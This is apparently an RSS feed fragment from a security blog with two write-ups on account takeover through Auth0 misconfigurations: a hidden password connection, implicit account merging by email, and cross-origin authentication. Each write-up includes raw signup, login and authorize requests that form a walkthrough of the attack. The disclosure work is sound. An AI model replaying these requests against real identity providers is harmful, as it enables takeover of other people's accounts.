<p>The ATO was made possible by <strong>three chained weaknesses</strong>:</p>
<ol>
<li><p><strong>Hidden Username-Password-Authentication Connection</strong></p>
<ul>
<li><p>The tenant allowed signup via email/password through <code>Username-Password-Authentication</code>, even though this option was not visible in the app’s UI.  </p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756968669870/531eef0f-1ad1-475a-8ccf-91a55044c26d.png" alt /></p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756725411706/4134a564-ac94-4057-a28f-4584b7c1f566.jpeg" alt class="image--center mx-auto" /></p>
</li>
</ul>
</li>
</ol>
<ol start="2">
<li><p><strong>Account Merging Logic</strong></p>
<ul>
<li><p>During the token exchange, the custom Auth0 Action checked the email associated with the code. If the email was linked to multiple profiles, it treated them as a single account and issued a token for the original account (the first account created).</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756969579237/becd79eb-fd92-454d-94ab-127fbe2cfb0a.png" alt class="image--center mx-auto" /></p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756725464700/f78fadfd-f87f-4639-a349-c3f94e00abec.jpeg" alt class="image--center mx-auto" /></p>
</li>
</ul>
</li>
<li><p><strong>Cross-Origin Authentication</strong></p>
<ul>
<li>Enabled <code>co/authenticate</code> allowed the attacker to log in using their chosen password, bypassing UI-based restrictions and acquiring a full Auth0 session.</li>
</ul>
</li>
</ol>
<hr />
<h2 id="heading-detailed-exploitation-walkthrough">Detailed Exploitation Walkthrough</h2>
<p>This section demonstrates each step with <strong>raw HTTP requests</strong> captured in Burp Suite.</p>
<h3 id="heading-step-1-discover-hidden-connections">Step 1: Discover Hidden Connections</h3>
<p>The app had no visible way to register or log in using email and password. However, I discovered an Auth0 endpoint exposing the valid and available database connections — which is required to craft direct API requests.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756726070171/517ab800-69fd-4c6c-bba4-101329e27972.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-step-2-create-an-account-with-victims-email">Step 2: Create an Account with Victim’s Email</h3>
<p>Using the <code>/dbconnections/signup</code> endpoint, an attacker creates a password-based account for the victim’s email.</p>
<p><strong>Request:</strong></p>
<pre><code class="lang-yaml"><span class="hljs-string">POST</span> <span class="hljs-string">/dbconnections/signup</span> <span class="hljs-string">HTTP/2</span>
<span class="hljs-attr">Host:</span> <span class="hljs-string">auth.nykros.com</span>
<span class="hljs-attr">Content-Type:</span> <span class="hljs-string">application/json</span>

{
  <span class="hljs-attr">"client_id":</span> <span class="hljs-string">"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"</span>,
  <span class="hljs-attr">"email":</span> <span class="hljs-string">"vic@nykros.com"</span>,
  <span class="hljs-attr">"password":</span> <span class="hljs-string">"AttackerPass123!"</span>,
  <span class="hljs-attr">"connection":</span> <span class="hljs-string">"Username-Password-Authentication"</span>,
  <span class="hljs-attr">"user_metadata":</span> {}
}
</code></pre>
<p><strong>Response:</strong></p>
<pre><code class="lang-yaml">{
  <span class="hljs-attr">"_id":</span> <span class="hljs-string">"XXXXXXXXXXXXXXXXXXXXXXX"</span>,
  <span class="hljs-attr">"email":</span> <span class="hljs-string">"vic@nykros.com"</span>,
  <span class="hljs-attr">"email_verified":</span> <span class="hljs-literal">false</span>
}
</code></pre>
<p>Auth0 sends a verification email. If the victim clicks the link, the attacker can then log in to their account without being prompted for email verification.</p>
<p>It’s highly likely the victim will click the link because their account was originally created using <strong>Passwordless</strong> or <strong>Social Login</strong> methods, neither of which requires email confirmation during signup. When the attacker registers a password-based account with the same email, Auth0 triggers a <strong>generic verification email</strong> that simply states, “Since you have an account, please verify your email.” Given that the victim has never seen a verification step before and the message appears legitimate, they are very likely to comply and click the link, unknowingly verifying the attacker-controlled account.</p>
<hr />
<h3 id="heading-step-3-login-via-cross-origin-authentication">Step 3: Login via Cross-Origin Authentication</h3>
<p>With the victim’s email verified, the attacker sends credentials to <code>/co/authenticate</code>.</p>
<p><strong>Request:</strong></p>
<pre><code class="lang-yaml"><span class="hljs-string">POST</span> <span class="hljs-string">/co/authenticate</span> <span class="hljs-string">HTTP/2</span>
<span class="hljs-attr">Host:</span> <span class="hljs-string">auth.nykros.com</span>
<span class="hljs-attr">Origin:</span> <span class="hljs-string">auth.nykros.com</span>
<span class="hljs-attr">Content-Type:</span> <span class="hljs-string">application/json</span>

{
  <span class="hljs-attr">"client_id":</span> <span class="hljs-string">"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"</span>,
  <span class="hljs-attr">"username":</span> <span class="hljs-string">"vic@nykros.com"</span>,
  <span class="hljs-attr">"password":</span> <span class="hljs-string">"AttackerPass123!"</span>,
  <span class="hljs-attr">"credential_type":</span> <span class="hljs-string">"http://auth0.com/oauth/grant-type/password-realm"</span>,
  <span class="hljs-attr">"realm":</span> <span class="hljs-string">"Username-Password-Authentication"</span>
}
</code></pre>
<p><strong>Response:</strong></p>
<pre><code class="lang-yaml">{
  <span class="hljs-string">"login_ticket"</span><span class="hljs-string">:"VkB82KWVEEQ8MYA4I6PQD-kNc0U_1bPx"</span>,
  <span class="hljs-string">"co_verifier"</span><span class="hljs-string">:"leEMJtSeoWf3UHuwLmVUpJKOEl72D86O"</span>,
  <span class="hljs-string">"co_id"</span><span class="hljs-string">:"O4GhzYzSKWQs"</span>
}
</code></pre>
<p>The attacker receives an <strong>Auth0 session cookie</strong>:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756726601571/41fc5da0-6dc4-47e8-8195-22a541b86cab.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-step-4-full-oauth-authorization-flow">Step 4: Full OAuth Authorization Flow</h3>
<p>The attacker loads the target login page and uses <strong>Burp Suite</strong> to intercept and replay login requests, injecting the stolen <code>auth0</code> session at key points in the login flow (e.g., <code>/authorize</code>, <code>/continue</code>, <code>/authorize/resume</code> requests).<br />By maintaining the attacker-controlled session through these steps, the application fully authenticates the attacker as the victim.</p>
<ul>
<li><strong>Result:</strong><br />  The attacker gains <strong>full access to the victim’s account</strong> on the application, despite the victim never setting a password or explicitly enabling password-based login.</li>
</ul>
<hr />
<h2 id="heading-finally">Finally</h2>
<blockquote>
<p><em>Thanks for reading! If anything wasn’t clear or you’d like more details, feel free to reach out — I’d be happy to explain further.</em></p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[Exploiting Auth0 Misconfigurations: A Case Study on Account Linking Vulnerabilities]]></title><description><![CDATA[During a comprehensive security assessment of an application using Auth0, my colleague Kareem Al Sadeq and I discovered a critical vulnerability that allowed us to link accounts across different authentication methods without user consent. This behav...]]></description><link>https://nykros.com/exploiting-auth0-misconfigurations-a-case-study-on-account-linking-vulnerabilities</link><guid isPermaLink="true">https://nykros.com/exploiting-auth0-misconfigurations-a-case-study-on-account-linking-vulnerabilities</guid><category><![CDATA[Auth0]]></category><category><![CDATA[penetration testing]]></category><category><![CDATA[Authentication Bypass]]></category><category><![CDATA[account takeover]]></category><dc:creator><![CDATA[Hussam Ahmed]]></dc:creator><pubDate>Mon, 28 Jul 2025 07:40:25 GMT</pubDate><content:encoded><![CDATA[<p>During a comprehensive security assessment of an application using Auth0, my colleague Kareem Al Sadeq and I discovered a critical vulnerability that allowed us to link accounts across different authentication methods without user consent. This behavior stemmed from a misconfiguration and custom implementation on top of Auth0’s authentication flow.</p>
<hr />
<h2 id="heading-introduction">Introduction:</h2>
<p>Auth0 is a powerful identity platform that simplifies authentication and authorization. While it provides secure building blocks for user identity management, improper configuration or unsafe customizations can introduce serious vulnerabilities.</p>
<p>This case study highlights a real-world misconfiguration that allowed for unintended account linking between users signing in with Google and those using email/password, all tied to the same email address. We break down how we discovered, analyzed, and exploited this issue in detail.</p>
<hr />
<h2 id="heading-background-auth0-connections-amp-account-separation">Background: Auth0 Connections &amp; Account Separation:</h2>
<p>In Auth0, each authentication method (like Google, email/password, or passwordless) is treated as a separate "connection." By design, when a user signs up using the same email address through different connections, Auth0 creates separate user profiles — each with its own unique <code>user_id</code>.</p>
<p>For example:</p>
<ul>
<li><p>Signing up via Google with <code>vic@vic.vic</code> creates <strong>Profile A</strong> (e.g., <code>google-oauth2|xxxxxx</code><a target="_blank" href="https://kareemelsadek.github.io">)</a></p>
</li>
<li><p>Signing up via passwordless creates <strong>Profile B</strong> (e.g., <code>email|yyyyyyyy</code>)</p>
</li>
<li><p>Signing up via email/password creates <strong>Profile C</strong> (e.g., <code>auth0|zzzzzzzz</code>)</p>
</li>
</ul>
<p>Each profile exists independently unless explicitly linked using the <strong>Account Linking extension</strong> or custom logic.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753687486864/945a8cee-20c6-449e-acf7-50242a495e99.png" alt class="image--center mx-auto" /></p>
<blockquote>
<p><strong>Note:</strong> We identified the available <code>connections</code> used by the application via a hidden endpoint that we will not disclose here.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753877441175/ba5e1047-2ea0-4841-aa34-4b9937aa63cb.png" alt class="image--center mx-auto" /></p>
</blockquote>
<hr />
<h2 id="heading-how-the-application-broke-auth0s-expected-behavior">How the Application Broke Auth0's Expected Behavior:</h2>
<p>Despite the default behavior of keeping accounts separate per connection, we found that this application linked accounts <strong>implicitly</strong> — specifically when a user logged in via email/password using the same email as an existing Google account.</p>
<h3 id="heading-inferred-account-merging-logic">Inferred Account Merging Logic</h3>
<p>Through deep inspection of the authentication flow and its behavior, we concluded that the application was using <strong>custom logic (likely through an Auth0 Action or Rule)</strong> to merge accounts during the <strong>token generation phase</strong>.</p>
<p>Here’s how it likely worked:</p>
<ol>
<li><p>User enters valid email/password (for the same email used earlier with Google login).</p>
</li>
<li><p>Auth0 verifies credentials and generates an authorization code or token.</p>
</li>
<li><p><strong>During this exchange</strong>, a custom Action (Auth0 server-side code triggered during the flow) links this new login attempt to the existing Google account.</p>
</li>
<li><p>The resulting Access Token or ID Token is issued <strong>for the primary account</strong> (the one created via Google)<a target="_blank" href="https://kareemelsadek.github.io">.</a></p>
</li>
</ol>
<p>This is not default Auth0 behavior and appears to be an intentional but unsafe implementation by the developers.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753687743317/9ca66c4c-84a2-4c4c-a7b0-7bef61da9c9d.png" alt class="image--center mx-auto" /></p>
<hr />
<h2 id="heading-step-by-step-exploitation">Step-by-Step Exploitation:</h2>
<p><strong>Step 1: Create a Primary Account via Google</strong></p>
<p>We initiated the test by creating an account through the application’s only visible login method: “Sign in with Google.” This created the primary user profile in Auth0.</p>
<p><strong>Step 2: Discovering the Database Connection</strong></p>
<p>The app had no visible way to register or log in using email and password. However, we discovered an Auth0 endpoint exposing the valid database connections name — which is required to craft direct API requests.</p>
<p><strong>Step 3: Bypassing the Frontend and Registering a Second Account</strong></p>
<p>Once we had the correct <code>connection</code> name and <code>client_id</code>, we registered a second account using the same email but via the Auth0 <code>/dbconnections/signup</code> endpoint:</p>
<pre><code class="lang-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/dbconnections/signup</span> HTTP/2
<span class="hljs-attribute">Host</span>: auth.nykros.com
<span class="hljs-attribute">Content-Type</span>: application/json

<span class="json">{
  <span class="hljs-attr">"client_id"</span>: <span class="hljs-string">"XXXXXXXXXXXX"</span>,
  <span class="hljs-attr">"email"</span>: <span class="hljs-string">"testacc2399@gmail.com"</span>,
  <span class="hljs-attr">"password"</span>: <span class="hljs-string">"testA@123"</span>,
  <span class="hljs-attr">"connection"</span>: <span class="hljs-string">"app-prod-users"</span>,
  <span class="hljs-attr">"credential_type"</span>: <span class="hljs-string">"http://auth0.com/oauth/grant-type/password-realm"</span>
}</span>
</code></pre>
<p><strong>Step 4: Triggering the Custom Account Linking Logic</strong></p>
<p>The application didn’t offer an email/password login form, so we manually crafted a login URL targeting the implicit flow. We used the <code>response_type=token</code> to request an access token directly — leveraging the fact that <strong>implicit grant</strong> was enabled for this client.</p>
<pre><code class="lang-http"><span class="hljs-attribute">https://auth.app.xx/authorize?client_id=XXXXXXXXXXXX&amp;response_type=token&amp;connection=app-prod-users&amp;prompt=login&amp;scope=openid profile email&amp;redirect_uri=https://app.app.xx/callback</span>
</code></pre>
<p>Visiting this link displayed a login form (thanks to <code>prompt=login</code> and the <code>connection=xssx</code>), allowing us to authenticate with the email/password we created in step 3.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:700/1*YS68EwzhIah-o9yM1Gml7w.png" alt /></p>
<p><strong>Step 5: Result — Access Granted to the Google Account</strong></p>
<p>After logging in using email/password, the access token we received belonged to the <strong>original Google account</strong> — not a new or separate profile.</p>
<p>This confirmed the application’s custom logic forcibly merged the two accounts based solely on email, during the token issuance phase. This type of implicit linking can have serious security consequences.</p>
<hr />
<h2 id="heading-possible-root-causes-of-implicit-account-linking">Possible Root Causes of Implicit Account Linking</h2>
<p>While our analysis suggested that a custom Auth0 Action or Rule was merging accounts during token issuance, other misconfigurations could also lead to similar behavior. For instance:</p>
<p><strong>1. User Data Retrieval Based on Email</strong><br />Instead of maintaining strict separation between identities from different connections, the application may have been fetching user data based solely on the <code>email</code> claim present in the ID Token or Access Token.</p>
<ul>
<li><p>In this scenario, when a new account is created with the same email, the backend retrieves and returns data from the original profile.</p>
</li>
<li><p>This creates the illusion that the attacker is logged in as the victim, even though no explicit account-linking mechanism is in place.</p>
</li>
</ul>
<p>This approach bypasses Auth0’s identity model entirely and relies on email as the unique identifier — which is unsafe because multiple identities can legitimately share the same email across different connections.</p>
<hr />
<h2 id="heading-conclusion">Conclusion:</h2>
<p>Account linking vulnerabilities like this one are subtle but dangerous — and often originate from well-meaning but unsafe developer customizations. By understanding how Auth0 handles identities across connections and being cautious with custom Actions or Rules, developers can avoid introducing this kind of critical logic flaw.</p>
<p>Thanks for reading!</p>
]]></content:encoded></item></channel></rss>